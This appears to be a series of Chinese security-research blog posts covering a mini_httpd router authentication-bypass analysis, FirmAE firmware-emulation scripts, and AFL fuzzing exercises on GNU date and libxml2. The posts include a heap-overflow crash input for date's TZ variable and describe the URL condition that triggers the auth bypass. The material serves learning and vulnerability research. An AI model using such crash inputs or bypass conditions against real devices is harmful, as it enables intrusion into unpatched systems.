    if ( strstr(v86, "currentsetting.htm") )
    g_bypass_flag = 1;
    ......

小结

本文首先分析了mini_httpd中如何对请求包进行处理,登录认证的大致逻辑是什么;随后介绍了搜索字符串的方式在mini_httpd程序中快速定位到请求包处理函数handle_request和权限处理函数auth_check;最后反编译+结合源码的方式,分析了认证绕过的触发逻辑。

这个漏洞实际上刚开始接触IoT漏洞的时候分析过,但是当时对漏洞的触发、利用逻辑虽然分析了,但是不是很有逻辑,后续回头看感觉分析得真烂。这次结合mini_httpd源码分析,也学习到了以后如何去寻找相关的认证绕过思路。

在run.sh中,FirmAE会检查当前固件是否在之前仿真成功过,如果是第一次仿真或者是之前仿真失败,FirmAE会重新开始创建镜像、生成qemu启动网络配置的工作;如果之前已经仿真成功了,则直接执行之前的启动命令。

run.sh:是否之前仿真成功

如下是关键代码,其中${WORK_DIR}目录是工作目录,对应着实际的目录scratch/固件编号/目录。${WORK_DIR}/web是web仿真成功的标志文件,FirmAE仿真成功一个目录则会在其中写入true./scripts/makeImage.sh是创建qemu镜像、将文件系统写入到镜像、并对文件系统做修改的脚本;./scripts/makeNetwork.py则是负责生成qemu运行命令、配置qemu启动命令的参数,也是这篇文章将要简单说明的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
if (! egrep -sqi "true" ${WORK_DIR}/web); then
# ================================
# make qemu image
# ================================
t_start="$(date -u +%s.%N)"
# 查询数据库
./scripts/tar2db.py -i $IID -f ./images/$IID.tar.gz -h $PSQL_IP \
2>&1 > ${WORK_DIR}/tar2db.log
t_end="$(date -u +%s.%N)"
time_tar="$(bc <<<"$t_end-$t_start")"
echo $time_tar > ${WORK_DIR}/time_tar

t_start="$(date -u +%s.%N)"
# 制作qemu镜像
./scripts/makeImage.sh $IID $ARCH $FILENAME \
2>&1 > ${WORK_DIR}/makeImage.log
t_end="$(date -u +%s.%N)"
time_image="$(bc <<<"$t_end-$t_start")"
echo $time_image > ${WORK_DIR}/time_image

# ================================
# infer network interface
# ================================
t_start="$(date -u +%s.%N)"
echo "[*] infer network start!!!"
# TIMEOUT is set in "firmae.config". This TIMEOUT is used for initial
# log collection.
TIMEOUT=$TIMEOUT FIRMAE_NET=${FIRMAE_NET} \
./scripts/makeNetwork.py -i $IID -q -o -a ${ARCH} \
&> ${WORK_DIR}/makeNetwork.log
# run_debug.sh等实际上都是./run.sh的软连接
ln -s ./run.sh ${WORK_DIR}/run_debug.sh | true
ln -s ./run.sh ${WORK_DIR}/run_analyze.sh | true
ln -s ./run.sh ${WORK_DIR}/run_boot.sh | true

t_end="$(date -u +%s.%N)"
time_network="$(bc <<<"$t_end-$t_start")"
echo $time_network > ${WORK_DIR}/time_network
else
# 如果之前仿真成功过则直接仿真
echo "[*] ${INFILE} already succeed emulation!!!"
fi

makeNetwork.py:生成最终的qemu启动命令

makeNetwork.py是进行网络处理的python脚本,里面大概包含了首次通过命令启动qemu虚拟机、然后分析qemu虚拟机的启动日志、生成新的启动参数、通过新的qemu命令再次启动虚拟机,并检查虚拟机的web服务器启动状况。

makeNetwork.py中调用的关键函数如下:

1
2
3
4
main
-> process
-> inferNetwork
-> checkNetwork

inferNetwork函数:首次启动QEMU虚拟机并分析启动日志

1. 首次启动虚拟机

inferNetwork函数会重新挂载qemu磁盘,获取磁盘文件系统中的一些启动服务,在文件系统中修改preInit.sh脚本,并生成QEMU启动命令。QEMU启动命令会增加rdinit=/firmadyne/preInit.sh参数,使得虚拟机启动后会首先去执行该脚本。

1
2
3
4
5
6
7
8
9
10
11
12
print("Running firmware %d: terminating after %d secs..." % (iid, TIMEOUT))

cmd = "timeout --preserve-status --signal SIGINT {0} ".format(TIMEOUT)
cmd += "{0}/run.{1}.sh \"{2}\" \"{3}\" ".format(SCRIPTDIR,
arch + endianness,
iid,
qemuInitValue)
cmd += " 2>&1 > /dev/null"
with open(SCRATCHDIR + "/" + str(iid) + "/qemu.init.cmd", "w+") as out:
out.write(cmd)
# 首次执行虚拟机,设置了时间上的延迟,因此这个地方的时间是必须等待的
os.system(cmd)

首次执行的qemu虚拟机启动命令如下,这次仿真所消耗的时间就是6分钟:

1
timeout --preserve-status --signal SIGINT 240 /home/utest/app/FirmAE/scripts/run.mipseb.sh "3" "rdinit=/firmadyne/preInit.sh"  2>&1 > /dev/null

我从一个已经启动的虚拟机中查看脚本内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/firmadyne/sh

BUSYBOX=/firmadyne/busybox

[ -d /dev ] || mkdir -p /dev
[ -d /root ] || mkdir -p /root
[ -d /sys ] || mkdir -p /sys
[ -d /proc ] || mkdir -p /proc
[ -d /tmp ] || mkdir -p /tmp
mkdir -p /var/lock

${BUSYBOX} mount -t sysfs sysfs /sys
${BUSYBOX} mount -t proc proc /proc
${BUSYBOX} ln -sf /proc/mounts /etc/mtab

mkdir -p /dev/pts
${BUSYBOX} mount -t devpts devpts /dev/pts
${BUSYBOX} mount -t tmpfs tmpfs /run

/sbin/init &

/firmadyne/network.sh &
/firmadyne/run_service.sh &
/firmadyne/debug.sh
/firmadyne/busybox sleep 36000

可以看到脚本会创建一些必备的目录以提高仿真生成率(来自FirmAE论文,有数据证实),并挂载一些设备。然后执行文件系统中的/sbin/init,这个或许在真实设备中是首次执行的程序。最后会运行内置的一些脚本,启动debug.sh是FirmAE较FirmAdyne所没有的。还有一个sleep命令,应该是为了等待启动成功。

2. 分析启动日志

虚拟机首次执行是有时间限制的,时间到后关闭虚拟机。随后inferNetwork函数会分析qemu启动日志,从中得到例如开放端口、IP、MAC地址改变等信息,然后返回。FirmAE的内核源码是被修改过的,对一些关键系统调用做了hook,因此是可以在qemu启动日志中得到许多信息。这些信息随后会辅助生成最终的qemu启动命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 开始分析qemu虚拟机首次启动的日志
data = open("%s/qemu.initial.serial.log" % targetDir, 'rb').read()

# 寻找开放端口
ports = findPorts(data, endianness)

#find interfaces with non loopback ip addresses
ifacesWithIps = findNonLoInterfaces(data, endianness)
#find changes of mac addresses for devices
# 寻找MAC地址的变化
macChanges = findMacChanges(data, endianness)
print('[*] Interfaces: %r' % ifacesWithIps)

networkList = getNetworkList(data, ifacesWithIps, macChanges)
return qemuInitValue, networkList, targetFile, targetData, ports

checkNetwork函数

继续返回到process函数中,接下来会调用checkNetwork函数。该函数的主要功能是从inferNetwork函数提取的日志信息networkList中分析虚拟机的网络类型。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if vlanNetworkList:
print("has vlan ethernet")
filterNetworkList = vlanNetworkList
result = "normal"
elif ethNetworkList:
print("has ethernet")
filterNetworkList = ethNetworkList
result = "normal"
elif invalidEthNetworkList:
print("has ethernet and invalid IP")
for (ip, dev, vlan, mac, brif) in invalidEthNetworkList:
filterNetworkList.append(('192.168.0.1', dev, vlan, mac, brif))
result = "reload"
elif brNetworkList:
print("only has bridge interface")
for (ip, dev, vlan, mac, brif) in brNetworkList:
if devList:
dev = devList.pop(0)
filterNetworkList.append((ip, dev, vlan, mac, brif))
result = "bridge"
elif invalidBrNetworkList:
print("only has bridge interface and invalid IP")
for (ip, dev, vlan, mac, brif) in invalidBrNetworkList:
if devList:
dev = devList.pop(0)
filterNetworkList.append(('192.168.0.1', dev, vlan, mac, brif))
result = "bridgereload"

test_emulation.sh:第二次启动虚拟机并分析网络仿真结果

通过首次仿真的结果,我们可以得到一系列的信息,例如网络列表、端口等等。这些信息将用于生成最终的qemu启动命令。如下还是process函数中,根据首次仿真的日志得到一些关键信息,用于生成最后的仿真命令qemuCommandLine

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
qemuCommandLine = qemuCmd(iid,
filterNetworkList,
ports,
network_type,
arch,
endianness,
qemuInitValue,
isUserNetwork)
# 重新生成了QEMU命令
with open(outfile, "w") as out:
out.write(qemuCommandLine)
os.chmod(outfile, stat.S_IRWXU | stat.S_IRGRP | stat.S_IXGRP | stat.S_IROTH | stat.S_IXOTH)

os.system('./scripts/test_emulation.sh {} {}'.format(iid, arch + endianness))

if (os.path.exists(SCRATCHDIR + '/' + str(iid) + '/web') and
open(SCRATCHDIR + '/' + str(iid) + '/web').read().strip() == 'true'):
success = True
break

随后调用test_emulation.sh去执行这条仿真命令,该虚拟机启动命令在后台执行:

1
2
3
4
echo "[*] test emulator"
${WORK_DIR}/run.sh 2>&1 >${WORK_DIR}/emulation.log &

sleep 10

脚本还会调用check_network函数检查虚拟机的网络仿真状态,主要是通过ping和访问web服务端口来判断:

1
2
3
4
5
6
7
8
9
10
11
12
echo -e "[*] Waiting web service... from ${IPS[@]}"
read IP PING_RESULT WEB_RESULT TIME_PING TIME_WEB < <(check_network "${IPS[@]}" false)

if (${PING_RESULT}); then
echo true > ${WORK_DIR}/ping
echo ${TIME_PING} > ${WORK_DIR}/time_ping
echo ${IP} > ${WORK_DIR}/ip
fi
if (${WEB_RESULT}); then
echo true > ${WORK_DIR}/web
echo ${TIME_WEB} > ${WORK_DIR}/time_web
fi

check_network函数的代码如下,循环通过ping判断虚拟机是否存活,以及通过curl判断WEB服务是否启动起来,然后写入到固件工作目录的状态文件:${WORK_DIR}/ping${WORK_DIR}/web中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
check_network () {
sleep 10

IPS=("${@}")
DEBUG_MODE=${IPS[-1]}
unset 'IPS[${#IPS[@]}-1]'

PING_RESULT=false
PING_TIME=-1
WEB_RESULT=false
WEB_TIME=-1
RET_IP="None"

START_TIME=$(date +%s | bc)
CURRENT_TIME=$(date +%s | bc)
t_start=$(date +%s.%N)
while [ ${CURRENT_TIME} -le $[${START_TIME} + ${CHECK_TIMEOUT}] ]
do
for IP in "${IPS[@]}"
do
if (curl --max-time 2 --output /dev/null --silent http://${IP} || curl --max-time 2 --output /dev/null --silent https://${IP}); then
t_end=$(date +%s.%N)
if (! ${WEB_RESULT}); then
WEB_TIME=$(echo "$t_end - $t_start" | bc)
fi
if (! ${PING_RESULT}); then
PING_TIME=${WEB_TIME}
fi
PING_RESULT=true
WEB_RESULT=true
RET_IP=${IP}
fi
if (ping -c 1 ${IP} > /dev/null); then
t_end=$(date +%s.%N)
if (! ${PING_RESULT}); then
PING_TIME=$(echo "$t_end - $t_start" | bc)
fi
PING_RESULT=true
RET_IP=${IP}
fi
sleep 1
CURRENT_TIME=$(date +%s | bc)
done

if (${WEB_RESULT}); then
break
fi
done

echo "${RET_IP}" "${PING_RESULT}" "${WEB_RESULT}" "${PING_TIME}" "${WEB_TIME}"
}

至此,关键脚本makeNetwork.py分析完成。

小结

以前在看FirmAE论文的时候,论文中强调仿真采用了启发式的分析方法,其实这个启发式主要就是对固件的文件系统和网络进行分析,然后进行相应的patch。

对于文件系统,FirmAE会分析其中的web服务、服务程序中所需的文件和文件夹和设备、然后生成脚本在启动时创建相应的文件和文件夹,挂载相应的设备。对于网络配置,FirmAE会在分析阶段启动两次qemu虚拟机。第一次是为了获取到网络配置信息,然后生成新的qemu启动命令;第二次是为了判断虚拟机是否被启动、web服务是否被启动。

综合来说,FirmAE的时间消耗大头是在网络配置上,要是不顺利的话,第一次网络启动会默认消耗6分钟、第二次也会消耗6分钟。而且,FirmAE真正启动还会再执行一次qemu虚拟机的启动,也就是说,从固件到仿真成功,一共需要执行三次qemu虚拟机。

出于个人需求,FirmAE对我来说在判断逻辑上还可以改改。例如有时候WEB服务着实启动条件比较苛刻,需要对WEB程序进行patch,这种场景下我们实际上只想让FirmAE快速搭建起来一个qemu虚拟机,在网络判定的时候ping能够ping通就行,web服务可以自己连接到虚拟机上去手动启动。

[afl-training] date

date 的这个漏洞也是使用 AFL 发现的。通过查看 date 的 man 手册,可以看到 date 可以从命令行、日期相关系统调用、环境变量和一些文件中读取输入。此次 challenge 是如何对一个程序的环境变量进行 fuzz,个人还是比较重视这个 challenge,因为我的毕业设计是打算对 IoT 固件中的 CGI 程序进行模糊测试,而 CGI 程序大多是从环境变量以及标准输入 STDIN 中获取数据,然后处理完毕后通过标准输出 STDOUT 输出,做完这个 challenge 应该就可以开始进行毕业设计的总体实现了。

编译 date

首先对 date 的源码进行编译,和之前的 challenge 类似,需要使用 afl-clang-fast 以及开启 AFL_USE_ASAN=1 编译选项。

进入 challenge 中的 date 目录,下载源码,并编译时必要的依赖。

1
2
git submodule init && git submodule update
sudo apt install autopoint bison gperf autoconf texinfo

编译 date

1
2
3
4
5
cd coreutils
./bootstrap
patch --follow-symlinks -p1 < ../coreutils-8.29-gnulib-fflush.patch
CC=afl-clang-fast ./configure # 如果是root用户编译加上FORCE_UNSAFE_CONFIGURE=1选项
AFL_USE_ASAN=1 make

运行编译出来的带有 bug 的 date 程序

1
2
./src/date
TZ='Asia/Tokyo' ./src/date # 加上环境变量TZ

undifined

目前是已知 TZ 环境变量存在 bug,那么运行 poc,ASAN 报错发生堆溢出

1
TZ="aaa00000000000000000000aaaaaab00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000" ./src/date --date "2017-03-14 15:00 UTC"

undifined

harness

那么问题就是如何对环境变量进行 fuzz。在每一个 challenge 中都有一个 HINT.md 文档,作为对当前挑战的提示。对于如何 fuzz 环境变量,HINT.md 提出了三个方案:

  1. 在源码中找到所有读取环境变量 TZ 的地方,然后替换为从 STDIN 中读取
  2. 修改 main 函数,在运行之初就设置 TZ 环境变量从 STDIN 中读取
  3. 使用 LD_PRELOAD 环境变量对 getenv 函数进行劫持,这样就可以通过标准输入传递到环境变量的值

在 ANSWERS.md 中,推荐使用的是第二个方案,因为第一个方案需要对代码中每一个读取环境变量的地方进行修改,很难确定每个地方都替换了为了 STDIN;第三个方案虽然重用性比较高,但是对于入门而言,需要花费的功夫还是比较多的。我在毕设中应该会使用到第三种方案,因为这样可以最大限度不对 CGI 的程序做出修改。

使用第二个方案的一个原因也是,date.c 代码中,只有一个使用到了 getenv(“TZ”),那么在 main 函数运行之初,就提前设定好 TZ 环境变量从 STDIN 中读取,从而实现 fuzz 环境变量的值从标准输入中读取。在 main 函数中增加如下:

1
2
3
static char val[1024 * 16];
read(0, val, sizeof(val) - 1);
setenv("TZ", val, 1);

undifined

然后重新编译:

1
2
make clean
AFL_USE_ASAN=1 make -j 4

然后重新运行程序,可以看到每次 date 运行前都要从标准输入先获取 TZ 环境变量,修改成功

undifined

开始 fuzz

设置初始种子,可以就用上面的 Europe/London 作为初始种子:

1
2
mkdir input 
echo "Europe/London" >> ./input/london

undifined

fuzz 前需要注意,在教程中使用的是固定日期,并且如果使用 ASAN,需要设置内存限定:

1
afl-fuzz -m none -i ./input -o output -- ./src/date --date "2017-03-14 15:00 UTC"

undifined

运行了 1 个小时,玩了一会儿游戏,一共挖出 30k 个 crash,但是只有 3 个 unique crashes。

将 crash 传入到 date 运行,ASAN 报错如下:

undifined

的确是发生了溢出

参考链接

[afl-training] harness

harness 的名词含义是马具,动词含义是给马套上马具,引申为利用,治理。此处的意思或许应该理解为,如何写好一个 harness(马具)来使用 AFL。

之前在做 quickstart 的时候,没有使用 afl-clang-fast 进行编译,而是使用的 afl-clang,刚刚搜到 afl-clang-fast 的话,需要编译 llvm-mode。

此次的章节是讲的如何写 harness 让 AFL 测试代码片段。如果对 AFL 如何将数据发送到目标程序执行比较熟悉的话,可以跳过这一个章节,直接到 challenge 进行实战,如下的图描述了 AFL 的基本流程和模块间的关系。

  • input:input 文件夹存放初始的种子,高质量的种子文件非常重要
  • queue:从 queue 中读取内容作为程序输入,如果突变后的输入可以触发新的状态变化,将变异后的输入重新放入 queue 中
  • crash:crash 存放触发 crashes 的输入

undifined

在 library.h 的这个库中,主要的功能是提供输入数据并计算得到输出。假如要测试如下的代码,该如何进行测试?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <assert.h>

#include "library.h"

void lib_echo(char *data, ssize_t len){
if(strlen(data) == 0) {
return;
}
char *buf = calloc(1, len);
strncpy(buf, data, len);
printf("%s",buf);
free(buf);

// A crash so we can tell the harness is working for lib_echo
if(data[0] == 'p') {
if(data[1] == 'o') {
if(data[2] =='p') {
if(data[3] == '!') {
assert(0);
}
}
}
}
}

int lib_mul(int x, int y){
if(x%2 == 0) {
return y << x;
} else if (y%2 == 0) {
return x << y;
} else if (x == 0) {
return 0;
} else if (y == 0) {
return 0;
} else {
return x * y;
}
}

fuzz 库的单输入函数

fuzz 需要的准备工作有以下三点:

  1. 代码是可以正常运行的
  2. 需要插桩,来让 AFL 进行高效运行
  3. 需要将 fuzzer 生成的数据送入到测试库中,因此,我们必须写一个程序将外部输入送入到测试库中,这可以直接从文件中读取或者从标准输入中读取。

为了测试 library.h 库中的函数,那么额外写一个文件 harness.c,其中 main 函数来调用库中的函数,如下:

1
2
3
4
5
6
7
8
#include "library.h"
#include <string.h>
#include <stdio.h>
int main() {
char *data = "Some input data\n";
lib_echo(data, strlen(data));
printf("%d\n", lib_mul(1,2));
}

然后使用下面的命令进行编译,可以看到一共在 20 个地方进行了插桩:

1
AFL_HARDEN=1 afl-clang-fast harness.c library.c -o harness

undifined

创建 input 文件夹,并在其中提供初始化的种子文件,如果就按照上面编译的方式直接 afl-fuzz,会发现 AFL 提示报错:odd, check syntax!

undifined

在 harness 可执行文件中,调用了 library.h 库中的函数,但是没有设置 hook 使得 AFL 变异产生的数据输入到目标库函数中,因此,运行 afl-fuzz 就会抛出一个警告,没有发生任何的事!因此,我们需要修改 harness 代码,使其从标准输入 STDIN 中获取输入,并且将输入数据喂给目标函数,将 harness.c 修改如下:

新增了 read 函数从标准输入 STDIN 中读取数据到缓冲区 input 中,然后喂给 lib_echo 函数运行,也就是对 lib_echo 函数进行 fuzz:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#include "library.h"

// fixed size buffer based on assumptions about the maximum size that is likely necessary to exercise all aspects of the target function
#define SIZE 50

int main() {
// make sure buffer is initialized to eliminate variable behaviour that isn't dependent on the input.
char input[SIZE] = {0};

ssize_t length;
length = read(STDIN_FILENO, input, SIZE);

lib_echo(input, length);
}

然后重新使用 afl-clang-fast 插桩,再使用 afl-fuzz 运行,现在就可以正常被 fuzz 了,并且产生了 crashes。明确一点,AFL 产生的输入是直接通过标准输入 STDIN 传递。

undifined

fuzz 库的任意输入函数

如果要测试 lib_mul(int x, int y) 函数,这个函数需要两个输入,而且是两个数字。作者提供的 harness 如下,通过两个 read 函数从 STDIN 标准输入中来传递数据到 harness 可执行文件中。代码修改如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#include <unistd.h>
#include <string.h>
#include <stdio.h>

#include "library.h"

// fixed size buffer based on assumptions about the maximum size that is likely necessary to exercise all aspects of the target function
#define SIZE 100

int main(int argc, char* argv[]) {
if((argc == 2) && strcmp(argv[1], "echo") == 0) {
// make sure buffer is initialized to eliminate variable behaviour that isn't dependent on the input.
char input[SIZE] = {0};

ssize_t length;
length = read(STDIN_FILENO, input, SIZE);

lib_echo(input, length);
} else if ((argc == 2) && strcmp(argv[1], "mul") == 0) {
int a,b = 0;
read(STDIN_FILENO, &a, 4);
read(STDIN_FILENO, &b, 4);
printf("%d\n", lib_mul(a,b));
} else {
printf("Usage: %s mul|echo\n", argv[0]);
}
}

重新使用 afl-clang-fast 编译,使用 afl-fuzz 进行 fuzz,但是这个时候需要带参数 mul 运行 harness,并且还需要在初始输入提供一个高质量:两个回车(或者 /0)分隔的整数:

1
2
20
10
1
2
AFL_HARDEN=1 afl-clang-fast harness.c library.c -o harness
afl-fuzz -i in -o out ./harness mul

undifined

应该是 fuzz 不出来什么结果了,因为 lib_mul 函数内部是数字运算,触发不了什么异常。

练习

作者留下了一个练习,如果有一个程序是从 argv 读取文件名,然后读取文件内容到缓冲区,并且将缓冲区传递到目标函数中,那么该如何对这个程序进行 fuzz。

这个部分我没有理解到,是要使用 AFL 构建文件内容然后进行 fuzz 么?

[afl-training] libxml2

libxml2 是一个流行的 XML 库,这类库是非常适合用来做 fuzzing ,理由如下:

  • 经常需要解析用户提供的数据
  • 库是由不安全语言编写(例如 C、C++)
  • 无状态
  • 没有网络和文件系统交互
  • 官方提供的 API 就是很好的 fuzz 目标,无需额外去分析和识别库内部的组件关系
  • 运行速度快

这次 fuzz 挑战的目标是在库中寻找 CVE-2015-8317,需要使用 AFL 对库源代码进行编译插桩,并且加上 ASAN 选项:

1
2
3
4
git submodule init && git submodule update
cd libxml2
CC=afl-clang-fast ./autogen.sh
AFL_USE_ASAN=1 make -j 4

使用 AFL_USE_ASAN=1 是开启 ASAN 辅助,这是基于 clang 的一个内存错误检测器,可以检测到常见的内存漏洞,例如栈溢出、堆溢出、double free、uaf 等等。

编写 harness

在之前的 harness 章节就讲到,fuzz 一个库的基本流程是:

  1. 对库使用 AFL 进行编译插桩
  2. 通过相关的官方文档知道库中的 API 是如何被正常调用的
  3. 写一个类似的 harness 调用 API,使得 AFL 产生的输入可以喂给 API 执行,并编译插桩 harness
  4. 使用 afl-fuzz 对 harness 进行 fuzz

我们已经使用 afl-clang-fast 编译了 libxml2 库,那么接下来就是去官方文档中查看正常情况下正确调用库 API 的案例,libxml2 的官方文档在此处,在 fuzz 的时候可以参考此案例,对库的 xmlReadMemory 函数进行 fuzz。如下是官方提供的 API 调用案例,读取 XML 文件到树上,并释放。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
/**
* section: Parsing
* synopsis: Parse an XML file to a tree and free it
* purpose: Demonstrate the use of xmlReadFile() to read an XML file
* into a tree and xmlFreeDoc() to free the resulting tree
* usage: parse1 test1.xml
* test: parse1 test1.xml
* author: Daniel Veillard
* copy: see Copyright for the status of this software.
*/

#include <stdio.h>
#include <libxml/parser.h>
#include <libxml/tree.h>

/**
* example1Func:
* @filename: a filename or an URL
*
* Parse the resource and free the resulting tree
*/
static void
example1Func(const char *filename) {
xmlDocPtr doc; /* the resulting document tree */

doc = xmlReadFile(filename, NULL, 0);
if (doc == NULL) {
fprintf(stderr, "Failed to parse %s\n", filename);
return;
}
xmlFreeDoc(doc);
}

int main(int argc, char **argv) {
if (argc != 2)
return(1);

/*
* this initialize the library and check potential ABI mismatches
* between the version it was compiled for and the actual shared
* library used.
*/
LIBXML_TEST_VERSION

example1Func(argv[1]);

/*
* Cleanup function for the XML library.
*/
xmlCleanupParser();
/*
* this is to debug memory for regression tests
*/
xmlMemoryDump();
return(0);
}

那么我们可以根据上面的案例写出一个 harness,这个在挑战的 ANSWERS.md 中有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include "libxml/parser.h"
#include "libxml/tree.h"

int main(int argc, char **argv) {
if (argc != 2){
return(1);
}

xmlInitParser();
while (__AFL_LOOP(1000)) {
xmlDocPtr doc = xmlReadFile(argv[1], NULL, 0);
if (doc != NULL) {
xmlFreeDoc(doc);
}
}
xmlCleanupParser();

return(0);
}

编写完 harness.c 后插桩编译,-I 选项是指定包含的头文件目录,然后接上 libxml2 的静态链接库,-lz 是使用 zlib 库,-lm 是使用 math 库,然后编译出来的是一个将 libxml2 静态链接的可执行文件,这样在编译插桩的时候就可以直接对 libxml2 的汇编代码进行插桩(如果之前已经对 libxml2 进行了插桩编译,应该就不需要再静态编译了)。

1
2
AFL_USE_ASAN=1 afl-clang-fast ./harness.c -I libxml2/include libxml2/.libs/libxml2.a -lz -lm -o fuzzer

undifined

编写完 harness 后,就需要使用高质量的种子来启动 afl-fuzz,afl 的源码中提供了一个不错的 XML 字典,可以就使用它来作为初始种子。

1
2
mkdir input
echo "<hi></hi>" > inout/hi.xml

然后开始 fuzz,-x 是设定 fuzzer 的字典,@@ 类似于占位符,表示输入的位置,因为 harness 使用的是 argv 作为输入。

1
afl-fuzz -i in -o out -x ~/Code/AFL/dictionaries/xml.dict ./fuzzer @@

然后让 AFL 在后台运行吧,等待结果,用虚拟机跑了一天,挖出来 16 个 crashes

undifined

处理 crashes

我们写出来的 harness 是通过命令参数读取文件,那么直接将 output/crashes 中的文件给程序,就会报错。而且因为编译的时候使用了 ASAN 标志,会有详细的报错信息提醒。跑出来的 16 个 unique creashes 都是相同的报错:

undifined

通过上图中的函数堆栈回溯,我们可以定位错误的性质是一个字节的堆溢出,而且漏洞是发生在 libxml2/parse.c 文件中。个人对堆了解得不是很深入,就在这个地方吧,埋一个坑,以后有空更新。

参考链接